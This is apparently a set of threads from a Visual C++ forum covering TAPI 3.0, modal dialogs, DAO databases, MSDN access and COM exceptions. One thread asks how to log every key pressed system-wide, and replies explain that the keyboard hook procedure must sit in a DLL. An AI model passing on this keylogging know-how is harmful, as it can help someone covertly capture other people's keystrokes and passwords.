I am doing a project on TAPI 3.0, as u know its Com based,,i ve just entered the project and facing some crutial problems while initializing TAPI.. I tried to get CLSId from "clsidfromProgiD",, with parameter1"TAPI3Lib.TAPI".. but it dosent give me any ID! When i checked this is VB,,, here it showss TAPI3Lib as a namespace and there it works properly,, but in VC it created poblems,, can u people tel me,, is there any way to find out the namespaceof TAPI3.dll,, cazi am failed here!!!
i need this for initializing TAPI object!
Actually... there is no such help for TAPI3.0 with VC++ on intenet.. so can u ps help me,,!
and if u ve worked in TAPI 3.0(VC++),, do tell me!

MSDN section TAPI Quick Start provides you with several C++ code snippets and recommendations to get you started with TAPI.

Hi all,
I have a trouble problem in Closing a modal window !!!
I load a modal window from here:
BOOL CMainDlg::OnInitialDialog()
{
.
.
.
CModalDlg wnd_m;
if(2 == wnd_m.DoModal()) MessageBox("Window is closed !!!");
.
.
.
}
Source code below is in a modal window:
void CModalDlg::OnOK()
{
.
.
.
if(a == 1) EndDialog(2);
MessageBox("Hi i'm here !!!");
if(a == 2) EndDialog(1);
.
.
.
}
Result is wonderful !!!
First my modal loads and when i hit OK button (a = 2), then window will close(by EndDialog(2)) ...
but the messagebox enables and show me "Hi i'm here !!!", WHY ???
I closed the window so why did the messagebox enable ?

if(a == 1){
EndDialog(2);
return;
}
MessageBox("Hi i'm here !!!");
if(a == 2){
EndDialog(1);
return;
}EndDialog instructs the framework to terminate the dialog after OnOK exits; it is not equivalent to a return sentence.

Hi all,
Can i create a Access 2000 database by using CDaoDatabase object ?

NO, but I remember a trick to use the ado of access 2000. May be in that way you can create a Access 2000 database, Ask to Christian Graus, that I believe that he remember the trick for use it...(He is on line at this moment...)

I have tried creating Access 2000 DB using CDaoDatabase using CDaoDatabase::Create(...) function.
Check MSDN for help.
U can access this created database very well.
Let me know if it helps.
Regards,

The Create() function is limit !
It can create a database with using of dbVersion30 which is Access 97 !!!
How can i solve it ?

Where can I find something like the win32 help file that i get online? I don't have my VC++ cd anymore so I can't install the MSDN stuff. With all due respect though, I don't want to be told, look at the microsoft site cause quite frankly that site is of very little help to me. Thanks guys.

Do you know msdn.microsoft.com? It treasures all the MSDN stuff and provides a reasonable consulting UI.

With all due respect
1/ msdn.microsoft.com contains the same info ( well, a subset of the same info ) on the MSDN CD's.
2/ If you don't have the CD anymore, you don't have Visual C++, and you need to either buy a new one or download a free compiler like GCC.

Download the .NET frameword SDK. Then you'll at least get the .NET documentation free of cost.
Try and get a copy of VS .NET beta 2.0
It comes with the beta of MSDN 7.0 [you might find that useful too]

Hint: you can find the whole code in C2664
the question that i just asked
|
|
|
|

Your code begins with:
do
{
switch (ch)
...So, where is the ch variable declared? A very suspicious thing is the fact that ch does not vary inside the loop, which is must likely a bug. I guess you need to store the first character of each line into ch.
Joaquín M López Muñoz

ch was declared out of the loop
if you look at my question below where you see "C2664"
you can re4ad the whole code.
|
|
|
|
|
The code posted there is not the same as here --There you've got the switch block enclosed into a for, here you've got do/while(!cin.eof()).
I suggest you launch your debugger and go step by step to determine what's causing the app to behave differently than expected. And please do not post hundreds of lines of code: when you reach a point where your debugger helps you no more and you've spent some time thinking into the problem, then try to isolate some significant code and post a question here. Good luck with your project.

Can someone please tell me whats wrong with this code??? Its supposed to log all keys pressed to a file but it only works when my app has the focus. I tried this before with MFC and it worked fine there but now it wont... i dont understand why. Can anyone please help?
(NOTE: the code might not work in VC++ because i compile it with Cygwin but it should come down to the same, there's also a resource file and resource.h but those are just for the dialog and not really needed, the error should be someone else...)
Many thanks.

SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardProc, hInstance, 0); Quote from MSDN SetWindowsHookEx documentation:
If the dwThreadId parameter is zero or specifies the identifier of a thread created by a different process, the lpfn parameter must point to a hook procedure in a dynamic-link library (DLL).
That seems to explain why you're only getting keystrokes intended to your app --for system-wide hooking the KeyboardProc must be in a DLL.

hmmmm but then i dont seem to understand why the MFC version DOES work. the only difference in the MFC version is that i use AfxGetInstanceHandle(); to get the HINSTANCE used in SetWindowsHookEx...
Any explanation?
(thanks for the advice about the DLL, i kind of already knew but wanted to try and put it all in one exe anyways)

Was it inside an MFC DLL or an MFC EXE? If the latter, then I don't seem to understand either.
Any explanation?
None that I can think of without further investigation. I'd try peeping at AfxGetInstanceHandle source code to see what's making a difference.

You have to put the callback for the keyboard hook in a DLL to make it possible to log when a user is pressing a key when your app is not in focus.

Hi ![Rose | [Rose]](https://codeproject.freetls.fastly.net/script/Forums/Images/rose.gif) ,
I'm trying to send error message from my ATL object (Visual C++ 6.0, MFC) to Visual Basic 6.0 application.
I tried using:
1. AfxThrowOleDispatchException(0x200, "Some Exception", 0);
2. COleDispatchException* pException;
pException = new COleDispatchException(
_T("Some Exception"), 200, 425);
pException->m_scError = 0;
THROW(pException);
But the message box I get in VB is that of Abnormal Program Termination, Abort, Retry, Ignore?
Could anyb'dy throw some light on this matter? 
Thanks,
|

I think you can trap OLE (as well as other) exceptions with the VB construct On Error GoTo. If you're new to this technique, maybe you'll want to have a look at Mark Hurst's VB Error Handling: Frequently Asked Questions.
